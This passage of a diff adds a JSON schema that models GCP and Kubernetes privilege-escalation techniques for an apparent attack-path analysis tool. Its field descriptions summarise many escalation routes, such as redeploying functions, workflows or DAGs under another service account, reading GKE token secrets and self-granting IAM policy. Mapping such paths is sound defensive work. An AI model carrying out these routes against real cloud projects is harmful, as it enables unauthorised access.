1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "gcp_item": { + "anyOf": [ + { + "$ref": "#/$defs/gcp_requirement" + }, + { + "$ref": "#/$defs/gcp_group" + } + ] + }, + "gcp_requirement": { + "additionalProperties": false, + "anyOf": [ + { + "required": [ + "permission" + ] + }, + { + "required": [ + "action" + ] + } + ], + "properties": { + "action": { + "description": "Concrete permission 'service.resource.verb'.", + "pattern": "^[^.*\\s]+\\.[^*\\s]+\\.[^.*\\s]+$", + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "notes": { + "type": "string" + }, + "permission": { + "description": "Concrete permission 'service.resource.verb'.", + "pattern": "^[^.*\\s]+\\.[^*\\s]+\\.[^.*\\s]+$", + "type": "string" + }, + "resource": { + "type": "string" + } + }, + "type": "object" + }, + "gcp_technique": { + "properties": { + "id": { + "pattern": "^gcp-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/gcp_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/gcp_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_service_account", + "gcp_user", + "gcp_workspace_user", + "k8s_service_account" + ] + }, + { + "items": { + "enum": [ + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_service_account", + "gcp_user", + "gcp_workspace_user", + "k8s_service_account" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "gcp_workspace_admin_role": { + "description": "Source is a Workspace/Cloud Identity user holding that admin role: 'super_admin' (users.isAdmin or a role with isSuperAdminRole) or an admin roleId / roleName (Admin SDK roleAssignments).", + "type": "string" + }, + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_cluster_admin", + "k8s_service_account" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "attached_to_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment inventories fall back to trust/all identities with unknown confidence." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "gcp_actas_granted_on_target": { + "const": true, + "description": "Source holds iam.serviceAccounts.actAs on the target SA (SA policy or project/folder/org inheritance)." + }, + "gcp_actas_granted_to_service_agent": { + "description": "Target SA is one on which the named Google service agent (cloudservices = Google APIs service agent @cloudservices.gserviceaccount.com, used by managed instance groups) holds iam.serviceAccounts.actAs (SA policy or project/folder/org inheritance; Editor by default). Unknown when no binding of that agent is collected.", + "type": "string" + }, + "gcp_agentidentity_retrieve_path": { + "const": true, + "description": "Exact enabled Google OAuth provider and active authorization with useful granted scopes." + }, + "gcp_agentidentity_update_path": { + "const": true, + "description": "Exact enabled Google OAuth provider and active authorization whose later refresh could reach a changed token endpoint." + }, + "gcp_agentregistry_skill_evidence": { + "const": true, + "description": "Unique reviewed evidence ties a changed Agent Registry Skill to one floating consumer, runtime identity, and newly successful bounded action." + }, + "gcp_apigee_proxy_deploy_path": { + "const": true, + "description": "Existing Apigee organization and standard environment with exact author and deployment grants and runtime token delegation." + }, + "gcp_apigee_sharedflow_hook_path": { + "const": true, + "description": "Existing standard Apigee environment with a proxy deployment, exact shared-flow and hook grants, and runtime token delegation." + }, + "gcp_appengine_deploy_path": { + "const": true, + "description": "Existing App Engine application, source staging bucket, and target runtime service-account repository access." + }, + "gcp_appengine_instance_ssh_path": { + "const": true, + "description": "Exact flexible App Engine instance, backing VM, runtime identity, login method and SSH route." + }, + "gcp_appengine_legacy_actas_unenforced": { + "const": true, + "description": "Visible legacy App Engine actAs constraint with effective enforcement disabled for the target project." + }, + "gcp_appintegration_run_as_path": { + "const": true, + "description": "Enabled Application Integration service, one observed integration, same-integration invocation or publication rights, and actAs on the selected service account." + }, + "gcp_artifact_policy_consumer_path": { + "const": true, + "description": "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository policy-write authority." + }, + "gcp_artifact_upload_consumer_path": { + "const": true, + "description": "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository upload authority." + }, + "gcp_batch_agent_reporter_on_target": { + "const": true, + "description": "The target service account holds batch.states.report in its Batch job project." + }, + "gcp_bigquery_spark_connection_path": { + "const": true, + "description": "One recorded Spark connection identity has a new effective permission; the source can create or replace and invoke a Spark procedure in a compatible dataset using that exact connection." + }, + "gcp_bounded_access_gain": { + "const": true, + "description": "Unique reviewed evidence proves a newly allowed bounded action through one created or authorized intermediate resource." + }, + "gcp_bounded_mechanism": { + "description": "Exact indirect-access mechanism in the bounded-access evidence record.", + "type": "string" + }, + "gcp_bounded_service_execution": { + "description": "An enabled service account becomes a separate bounded service authority target for the named mechanism.", + "type": "string" + }, + "gcp_bounded_workspace_oauth": { + "description": "A named Workspace user becomes a scope-limited OAuth authority target for the named mechanism.", + "type": "string" + }, + "gcp_challenge_fact": { + "description": "Exact reviewed technique/source/target/scope evidence from gcp_privesc_challenge_evidence. Only verified preconditions produce a conditional path; missing or incomplete evidence is unresolved.", + "type": "string" + }, + "gcp_cloudbuild_api_enabled": { + "const": true, + "description": "Cloud Build API is enabled in the target service account's build project." + }, + "gcp_cloudbuild_writable_trigger_policy_path": { + "const": true, + "description": "An exact connection policy grant can self-grant repository token access for an enabled push trigger with a recorded build identity." + }, + "gcp_cloudbuild_writable_trigger_token_path": { + "const": true, + "description": "An exact repository token grant is joined to an enabled push trigger whose repository build config and service account are recorded." + }, + "gcp_clouddeploy_configurable_custom_render_path": { + "const": true, + "description": "Source can create or update an exact custom target and pipeline route, then create its release with the selected render account." + }, + "gcp_clouddeploy_custom_render_path": { + "const": true, + "description": "A collected pipeline stage, custom target, custom target type, and render service account are joined to exact update and release-create grants." + }, + "gcp_clouddeploy_existing_custom_render_path": { + "const": true, + "description": "A collected pipeline stage and custom target render account are joined to release creation on the exact pipeline." + }, + "gcp_clouddeploy_pipeline_policy_custom_render_path": { + "const": true, + "description": "A collected custom target render account is joined to setIamPolicy on its exact delivery pipeline." + }, + "gcp_cloudfunctions_create_path": { + "const": true, + "description": "Source can create a function with uploaded source and a known build account it can use, and can invoke it." + }, + "gcp_cloudfunctions_env_startup_path": { + "const": true, + "description": "Source can update an active Node.js 20 or later function, use its build identity, and reach an execution route." + }, + "gcp_cloudfunctions_existing_source_update_path": { + "const": true, + "description": "Source can update the source of an active function, act as its build identity, and reach an observed invocation route." + }, + "gcp_cloudfunctions_source_deploy_build_path": { + "const": true, + "description": "Source can create or update a function built as an observed legacy Cloud Build default identity and can act as the function runtime identity." + }, + "gcp_cloudscheduler_authenticated_delivery": { + "const": true, + "description": "The project's Cloud Scheduler service agent has its required role for authenticated job delivery." + }, + "gcp_cloudscheduler_update_job_path": { + "const": true, + "description": "Source can update an enabled scheduler job, or update and resume a paused job, in the target service account's project." + }, + "gcp_cloudtasks_authenticated_delivery": { + "const": true, + "description": "The Cloud Tasks service agent has its project role and access to the exact target service account." + }, + "gcp_cloudtasks_enqueue_path": { + "const": true, + "description": "Source can create a task in a running queue, resume a paused queue, or create a new queue and task in the target account's project." + }, + "gcp_cloudtasks_queue_policy_path": { + "const": true, + "description": "Source can add task creation on an exact queue it does not already control, remove a target override when permitted, and dispatch from a running or resumable queue." + }, + "gcp_composer_create_with_dag_path": { + "const": true, + "description": "Source can create a Composer environment in a region with an eligible custom bucket, prepopulate its DAG prefix, and attach a service account with Composer Worker access." + }, + "gcp_composer_dag_upload_path": { + "const": true, + "description": "Source can create a new Python DAG object under the observed prefix of a usable Composer environment, including through managed-folder IAM." + }, + "gcp_composer_pypi_update_path": { + "const": true, + "description": "Source can update the PyPI packages of a running Composer environment using the target service account." + }, + "gcp_composer_storage_policy_path": { + "description": "Source can write the IAM policy of the exact DAG bucket or managed folder for a usable Composer environment.", + "type": "string" + }, + "gcp_configdelivery_fleet_target": { + "const": true, + "description": "Exact GKE fleet membership, Config Sync feature and RootSync authority with the source's Config Delivery rights on the fleet host project." + }, + "gcp_cross_project_cloudbuild": { + "const": true, + "description": "A build in another collected project can use the target SA only when the effective cross-project policy permits it and that project's Cloud Build service agent has token access." + }, + "gcp_cross_project_run_instance": { + "const": true, + "description": "A Cloud Run instance can be created or updated in a different collected project with the target SA only when the exact host action, target project's effective cross-project policy, and service-agent token access are resolved." + }, + "gcp_cross_project_run_job": { + "const": true, + "description": "A Cloud Run job can be created and run in a different collected project with the target SA only when the target project's effective cross-project org policy permits it and its service agent has token access." + }, + "gcp_cross_project_run_service": { + "const": true, + "description": "A Cloud Run service can be created in a different collected project with the target SA only when the target project's effective cross-project org policy permits it and its service agent has token access." + }, + "gcp_cross_project_workflows": { + "const": true, + "description": "A workflow in another collected project can use the target SA only when the effective cross-project policy permits it and that project's Workflows service agent has token access." + }, + "gcp_custom_role_bound_to_source": { + "const": true, + "description": "Target is the exact scope where the source has a binding to a collected custom role, and the source can update that exact role." + }, + "gcp_dataflow_artifact_overwrite_path": { + "const": true, + "description": "An active Dataflow job links the exact worker account to an unpinned code object that the source can replace and the worker can read." + }, + "gcp_dataflow_flex_launch_path": { + "const": true, + "description": "Enabled Dataflow API, project read, usable staging bucket, worker role and access, and Dataflow and Compute service-agent rights on the exact worker account." + }, + "gcp_datafusion_artifact_poison_path": { + "const": true, + "description": "A replaceable USER-scoped CDAP artifact version is used by an enabled pipeline schedule with a resolved runner and exact namespace and runtime permissions." + }, + "gcp_datafusion_pipeline_path": { + "const": true, + "description": "An installed pipeline artifact exposes a code plugin, and exact namespace, profile, service-agent and runner permissions support execution." + }, + "gcp_datafusion_selfgrant_path": { + "const": true, + "description": "The source can change the exact Data Fusion instance or namespace IAM policy, then reach an installed code plugin's runnable profile account." + }, + "gcp_datapipelines_scheduled_template_path": { + "const": true, + "description": "Enabled Data Pipelines runtime, scheduled region, service agents, and an authorized Scheduler identity for the exact worker account." + }, + "gcp_dataplex_task_path": { + "const": true, + "description": "An active lake accepts task creation, the selected account can be acted as and run Spark, and a writable Python payload is readable by that account." + }, + "gcp_dataproc_cluster_selfgrant_path": { + "const": true, + "description": "The source can change an exact running Dataproc cluster policy, create a job in its project, and supply a script the cluster account can read." + }, + "gcp_dataproc_create_path": { + "const": true, + "description": "The source can create a Dataproc workload with the chosen service account, runnable worker, script, service agent, and subnet." + }, + "gcp_dataproc_gateway_path": { + "const": true, + "description": "An enabled notebook gateway on an exact running cluster lets the caller run code with its verified VM or mapped service account." + }, + "gcp_dataproc_init_replace_path": { + "const": true, + "description": "The caller can replace one live initialization-action object that a running cluster's VM account can read." + }, + "gcp_dataproc_job_path": { + "const": true, + "description": "The caller can submit a runnable job to an exact running cluster and use its verified VM or mapped service account." + }, + "gcp_dataproc_session_path": { + "const": true, + "description": "The source can create and access a Dataproc interactive session with the chosen service account and a usable runtime." + }, + "gcp_dataproc_workflow_path": { + "const": true, + "description": "The caller can create and instantiate a managed-cluster workflow with a runnable initialization action and chosen service account." + }, + "gcp_deploymentmanager_create_path": { + "const": true, + "description": "An existing customer's enabled Deployment Manager can use the exact project Google APIs Service Agent for a viable VM path." + }, + "gcp_deploymentmanager_selfgrant_path": { + "const": true, + "description": "The caller can change an exact deployment policy, grant itself update, and use the exact project agent's downstream path." + }, + "gcp_deploymentmanager_update_path": { + "const": true, + "description": "The caller can update an exact existing deployment with a current fingerprint and use its project agent's downstream path." + }, + "gcp_developerconnect_pipeline_path": { + "const": true, + "description": "The caller can write the exact Developer Connect link of an enabled push trigger with a repository build file and a more privileged build identity." + }, + "gcp_eventarc_oauth_pipeline_path": { + "const": true, + "description": "An exact Eventarc project has pipeline-create permission, a same-region enrollment route through an existing or creatable bus, and a service agent able to mint an OAuth token for the target SA." + }, + "gcp_external_plane": { + "description": "Exact external authorization plane named by the reviewed principal-gain record.", + "type": "string" + }, + "gcp_external_principal_evidence": { + "const": true, + "description": "Unique complete reviewed evidence binds a declared action to one named external-plane principal, usable credential, and a newly allowed target action." + }, + "gcp_firebase_apphosting_retarget": { + "const": true, + "description": "An exact active Firebase App Hosting backend exists in the target SA project and the source can update, build and roll out on that backend." + }, + "gcp_fleet_config_management_target": { + "const": true, + "description": "Exact GKE fleet member, feature lifecycle and member feature, mutation permission on the matching resource, and Config Sync RootSync authority." + }, + "gcp_fleet_rbac_admin_target": { + "const": true, + "description": "Exact fleet membership or scope binding to an observed admin-equivalent custom ClusterRole on its joined GKE cluster, with an API access path." + }, + "gcp_gcr_namespace_path": { + "const": true, + "description": "Fully redirected gcr.io host with a missing matching repository, create and upload rights there, and an exact tagged workload consumer identity." + }, + "gcp_gke_clusterrole_bind": { + "const": true, + "description": "A joined running GKE cluster has a confirmed cluster-admin ClusterRole and a create path or an existing ClusterRoleBinding whose subjects can be updated." + }, + "gcp_gke_clusterrole_escalate": { + "const": true, + "description": "A joined running GKE cluster has an exact ClusterRoleBinding reaching the source, and the source can update its non-aggregated ClusterRole or create its missing referenced ClusterRole." + }, + "gcp_gke_namespaced_rbac_ksa_path": { + "const": true, + "description": "Exact joined GKE namespace RBAC permits a self-grant of Pod creation or ServiceAccount token creation for the target KSA." + }, + "gcp_gke_node_proxy_ksa": { + "const": true, + "description": "Exact GKE node proxy grant reaches a running container on a joined Node with the target Kubernetes service account token." + }, + "gcp_gke_node_proxy_sa": { + "const": true, + "description": "Exact GKE node-pool service account is joined to a running Pod on a labeled node whose metadata mode permits its token to be read through kubelet execution." + }, + "gcp_gke_node_sa_actas": { + "const": true, + "description": "An enabled service account can be selected for new Standard GKE nodes, and the source can create a pod on those nodes; cross-project use needs its guardrails." + }, + "gcp_gke_nodepool_metadata_downgrade": { + "const": true, + "description": "An exact Standard GKE node pool currently using GKE_METADATA can be updated and has a Pod workload path to its attached node service account." + }, + "gcp_gke_pod_exec_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount has a named running Pod container with a mounted API audience token and Google-principal Pod exec authority." + }, + "gcp_gke_pod_exec_node_sa": { + "const": true, + "description": "Exact running GKE Standard cluster and node pool attach the target service account to a node with a running Pod container whose metadata mode exposes that account." + }, + "gcp_gke_pod_template_ksa": { + "const": true, + "description": "Exact GKE workload create authority, or update authority over an existing mutable controller in the target KSA namespace, with Google-principal cluster authentication." + }, + "gcp_gke_pod_template_node_sa": { + "const": true, + "description": "Exact running GKE Standard cluster and node pool attach the target service account to a schedulable node with usable metadata; the source can create a workload, update an existing controller, or update a running Pod." + }, + "gcp_gke_pod_update_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount has a named running Pod container whose image can be changed and whose mounted token has the API audience." + }, + "gcp_gke_secret_ksa": { + "const": true, + "description": "Exact joined GKE ServiceAccount UID matches a populated, valid token Secret that the Google principal can list or read by a discoverable name." + }, + "gcp_gke_system_impersonation": { + "const": true, + "description": "An exact running GKE Standard cluster accepts system identity impersonation and the source can authenticate to its API server." + }, + "gcp_gke_token_request_ksa": { + "const": true, + "description": "Exact joined running GKE cluster has a non-deleting Kubernetes ServiceAccount whose TokenRequest subresource the Google principal can create." + }, + "gcp_gke_webhook_ksa_path": { + "const": true, + "description": "A running GKE cluster has a KSA workload that can be reached by a new webhook or by updating an existing webhook configuration." + }, + "gcp_group_join_open_to_source": { + "const": true, + "description": "gcp_group targets the source can join without approval (Groups Settings whoCanJoin ANYONE_CAN_JOIN, or ALL_IN_DOMAIN_CAN_JOIN with the source's email domain equal to the group's; a source outside the group's domain also needs allowExternalMembers=true). Use with requires: {} and source_kind gcp_user." + }, + "gcp_hmac_storage_identity": { + "const": true, + "description": "Each enabled inventoried service account becomes a separate Cloud Storage-only HMAC authority target." + }, + "gcp_image_family_consumer": { + "const": true, + "description": "gcp_service_account targets attached to a collected instance template whose boot disk sourceImage is an image family (projects/

/global/images/family/); {target.image_family_project} = projects/

of those families." + }, + "gcp_implicit_delegation_chain": { + "const": true, + "description": "Target SA is one a delegate chain can mint credentials for: the source holds iam.serviceAccounts.implicitDelegation on delegate D1, each Di holds implicitDelegation on Di+1 (transitively), and some Dk holds getAccessToken, signBlob or signJwt on the target. Delegates are not targets themselves (implicitDelegation does not yield their own token)." + }, + "gcp_kcc_generated_key_secret": { + "const": true, + "description": "A joined KCC identity can create a key for the exact target service account while the source can create the KCC resource and read its generated Secret or key resource status on the same cluster." + }, + "gcp_kcc_project_policy_grant": { + "const": true, + "description": "A joined GKE cluster and Config Connector namespace identity can write a collected project's IAM policy through a served KCC policy resource." + }, + "gcp_metadata_vm_path": { + "const": true, + "description": "An exact VM with the target service account has metadata control and a concrete startup or metadata SSH path." + }, + "gcp_mig_create_path": { + "const": true, + "description": "A new instance template and managed instance group can use a ready image and subnet, caller and service-agent permissions, and the exact target service account." + }, + "gcp_mig_existing_template_path": { + "const": true, + "description": "One inventoried managed instance group and its current template are joined to exact update, template, supporting, rollout, and service-agent actAs permissions." + }, + "gcp_osadminlogin_vm_path": { + "const": true, + "description": "A running VM attached to the target service account has OS Login enabled and the source can request administrator login on that exact VM." + }, + "gcp_osconfig_guest_policy_path": { + "const": true, + "description": "A running VM attached to the target service account has an active OS Config inventory heartbeat and enabled guest-policy processing; creation or exact existing-policy update authority is checked separately." + }, + "gcp_osconfig_os_policy_assignment_path": { + "const": true, + "description": "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; zonal create or named update authority is checked separately." + }, + "gcp_osconfig_patch_job_path": { + "const": true, + "description": "A running patch-supported VM attached to the target service account has enabled patch processing and a recent agent heartbeat; project execute/create or exact deployment update authority is checked separately." + }, + "gcp_osconfig_policy_orchestrator_path": { + "const": true, + "description": "A running VM attached to the target service account has enabled GA OS-policy processing and a recent agent heartbeat; the source can write an orchestrator at a containing parent with required service agents." + }, + "gcp_oslogin_vm_path": { + "const": true, + "description": "A running VM attached to the target service account has OS Login enabled and the source can request standard login on that exact VM." + }, + "gcp_pam_entitlement_requester": { + "const": true, + "description": "Target scope has a Privileged Access Manager entitlement whose eligible requesters include the source (directly or through a group) and whose roles give IAM control of the scope. PAM entitlements are not collected (not evaluated)." + }, + "gcp_privatecatalog_dm_iam_path": { + "const": true, + "description": "An exact validated Deployment Manager version is shared to a consumer project whose Google APIs Service Agent has project IAM write authority the source lacks; the source can update that version." + }, + "gcp_project_iam_sa_token_grant": { + "const": true, + "description": "An exact project IAM policy writer can add a project-wide Token Creator binding for itself and mint a token for a named enabled service account it cannot already impersonate." + }, + "gcp_project_metadata_vm_path": { + "const": true, + "description": "An exact VM with the target service account inherits controlled project metadata and has a concrete startup or metadata SSH path." + }, + "gcp_resource_self_grant": { + "const": true, + "description": "A reviewed accepted self-grant or a modeled exact-resource policy write that adds a new permission; prospective resources include Secret Manager secrets, Cloud KMS keys, Pub/Sub topics and subscriptions, standard Artifact Registry repositories, and Analytics Hub exchanges and listings." + }, + "gcp_run_instance_create_or_update_path": { + "const": true, + "description": "Source can create a Cloud Run instance in the target project or update an exact existing instance there." + }, + "gcp_run_instance_ssh_path": { + "const": true, + "description": "Source has SSH permission on an attached Cloud Run instance that is running or can be started." + }, + "gcp_run_job_create_execute_path": { + "const": true, + "description": "Source can create and run a new Cloud Run job in the target service account's project when both grants apply there and the API is enabled." + }, + "gcp_run_job_override_path": { + "const": true, + "description": "Source can run a ready collected Cloud Run job with overrides on the same job, whose recorded interpreter command accepts code through overridden arguments." + }, + "gcp_run_job_policy_override_path": { + "const": true, + "description": "Source can self-grant missing actions on an exact ready Cloud Run job and execute code through its recorded interpreter or an update with actAs on the pinned service account." + }, + "gcp_run_job_update_execute_path": { + "const": true, + "description": "Source can update and run the same collected Cloud Run job in the target service account's project." + }, + "gcp_run_service_create_path": { + "const": true, + "description": "Source can create a new Cloud Run service in the target service account's project when the grant applies there and the API is enabled." + }, + "gcp_run_service_policy_update_path": { + "const": true, + "description": "Source can self-grant missing update rights on an exact ready Cloud Run service whose IAM policy it controls." + }, + "gcp_run_service_ssh_path": { + "const": true, + "description": "Source has SSH permission on an attached, ready second-generation Cloud Run service with SSH enabled." + }, + "gcp_run_service_update_path": { + "const": true, + "description": "Source can update an exact collected Cloud Run service in the target service account's project." + }, + "gcp_run_worker_pool_create_or_update_path": { + "const": true, + "description": "Source can create a worker pool in the target project or update an exact existing worker pool there." + }, + "gcp_run_worker_pool_policy_update_path": { + "const": true, + "description": "Source can self-grant missing update rights on an exact ready Cloud Run worker pool whose IAM policy it controls." + }, + "gcp_sa_in_scope_of_permission": { + "const": true, + "description": "Requirements with resource '*' must hold on the target SA's project (or the SA / an ancestor)." + }, + "gcp_sa_swap_vm_path": { + "const": true, + "description": "An existing VM can stop if needed, attach the target service account, start, and run code or allow login on that same VM." + }, + "gcp_sourcerepo_trigger_path": { + "description": "A collected Cloud Source repository and enabled push trigger are joined to its exact build service account and source permission (push or selfgrant).", + "type": "string" + }, + "gcp_vertex_batch_prediction_path": { + "const": true, + "description": "Source can create a batch prediction job with an inline container and use a target service account delegated to the Vertex AI service agent." + }, + "gcp_vertex_new_model_endpoint_path": { + "const": true, + "description": "Source can upload a custom model, create an endpoint, deploy it, and use a target service account delegated to the Vertex AI service agent." + }, + "gcp_vm_create_path": { + "const": true, + "description": "The source can create a VM with the target service account and a usable boot image, subnet, startup metadata, and outbound access path." + }, + "gcp_vmmigration_metadata_clone_path": { + "const": true, + "description": "Source can update and clone the same MigratingVm whose target defaults name the target runtime service account." + }, + "gcp_wif_active_path": { + "description": "An exact active workload pool or provider is joined to a pool-wide service-account token binding and the source's control action.", + "type": "string" + }, + "gcp_wif_restorable_path": { + "const": true, + "description": "An exact disabled or deleted workload pool or provider is joined to a pool-wide service-account token binding and the source's restore action." + }, + "gcp_workbench_existing_takeover_path": { + "const": true, + "description": "Source can update and boot the same existing Workbench instance or self-grant its instance administration rights." + }, + "gcp_workflows_observed_external_execution": { + "const": true, + "description": "An enabled Scheduler job is recorded to execute an exact workflow the source can update; other possible triggers remain unresolved." + }, + "gcp_workflows_update_attach_path": { + "const": true, + "description": "Source can update and execute an existing active workflow in the target service account's project." + }, + "gcp_workflows_update_execute_same_workflow": { + "const": true, + "description": "Source can update and execute the same active workflow attached to the target service account." + }, + "gcp_workforce_control_path": { + "const": true, + "description": "An exact workforce pool or provider control action is joined to an organization-local pool-wide service-account token binding." + }, + "gcp_workspace_super_admin_with_registered_domain": { + "const": true, + "description": "gcp_workspace_user targets that are Workspace super administrators of a customer whose customerDomain matches an ACTIVE Cloud Domains registration; {target.domain_registration} = those registration resource names." + }, + "gcp_workstations_create_config_path": { + "const": true, + "description": "An existing workstation cluster allows config and workstation creation for the chosen service account." + }, + "gcp_workstations_create_from_config_path": { + "const": true, + "description": "The source can create a workstation from an exact config and can act as the account if its scopes require that." + }, + "gcp_workstations_use_existing_path": { + "const": true, + "description": "The source can use an exact running workstation, start and use a stopped one, or self-grant access through its policy." + }, + "k8s_sa_has_token_secret": { + "const": true, + "description": "GKE: KSAs of cluster {target.scope} referenced by a kubernetes.io/service-account-token Secret (annotation kubernetes.io/service-account.name); joined from the related K8s snapshot, else one conditional aggregate per cluster." + }, + "k8s_sa_in_cluster": { + "const": true, + "description": "GKE: every KSA of cluster {target.scope}; joined from the related K8s snapshot, else one conditional aggregate per cluster." + }, + "k8s_sa_used_by_running_pod": { + "const": true, + "description": "Service account is used by a running pod with an available token." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + } + }, + "type": "object" + } + } + } + } + }, + "k8s_conjunction": { + "items": { + "$ref": "#/$defs/k8s_item" + }, + "minItems": 1, + "type": "array" + }, + "k8s_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/k8s_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/k8s_item" + }, + { + "$ref": "#/$defs/k8s_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "k8s_item": { + "anyOf": [ + { + "$ref": "#/$defs/k8s_requirement" + }, + { + "$ref": "#/$defs/k8s_group" + } + ] + }, + "k8s_requirement": { + "additionalProperties": false, + "anyOf": [ + { + "required": [ + "resource" + ] + }, + { + "required": [ + "resource_match" + ] + } + ], + "oneOf": [ + { + "not": { + "required": [ + "verb_prefix" + ] + }, + "required": [ + "verb" + ] + }, + { + "not": { + "required": [ + "verb" + ] + }, + "required": [ + "verb_prefix" + ] + } + ], + "properties": { + "api_group": { + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "namespace": { + "description": "'{target.namespace}', '{source.namespace}', '*' (cluster-wide) or a literal.", + "type": "string" + }, + "notes": { + "type": "string" + }, + "resource": { + "description": "Resource (use subresource for a/b).", + "pattern": "^[^/]*$", + "type": "string" + }, + "resource_match": { + "description": "any: any resource (and API group unless api_group is set) the rule names.", + "enum": [ + "any" + ] + }, + "resource_name": { + "type": "string" + }, + "subresource": { + "type": "string" + }, + "verb": { + "minLength": 1, + "type": "string" + }, + "verb_prefix": { + "description": "Any rule verb starting with this prefix matches (e.g. 'impersonate-on:user-info:').", + "pattern": "^[^*]+$", + "type": "string" + } + }, + "type": "object" + }, + "k8s_technique": { + "properties": { + "id": { + "pattern": "^k8s-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [ + "k8s_eks_cluster", + "k8s_openshift_cluster" + ] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [ + "k8s_eks_cluster", + "k8s_openshift_cluster" + ] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/k8s_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/k8s_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "cloud_identity", + "gcp_service_account", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user" + ] + }, + { + "items": { + "enum": [ + "cloud_identity", + "gcp_service_account", + 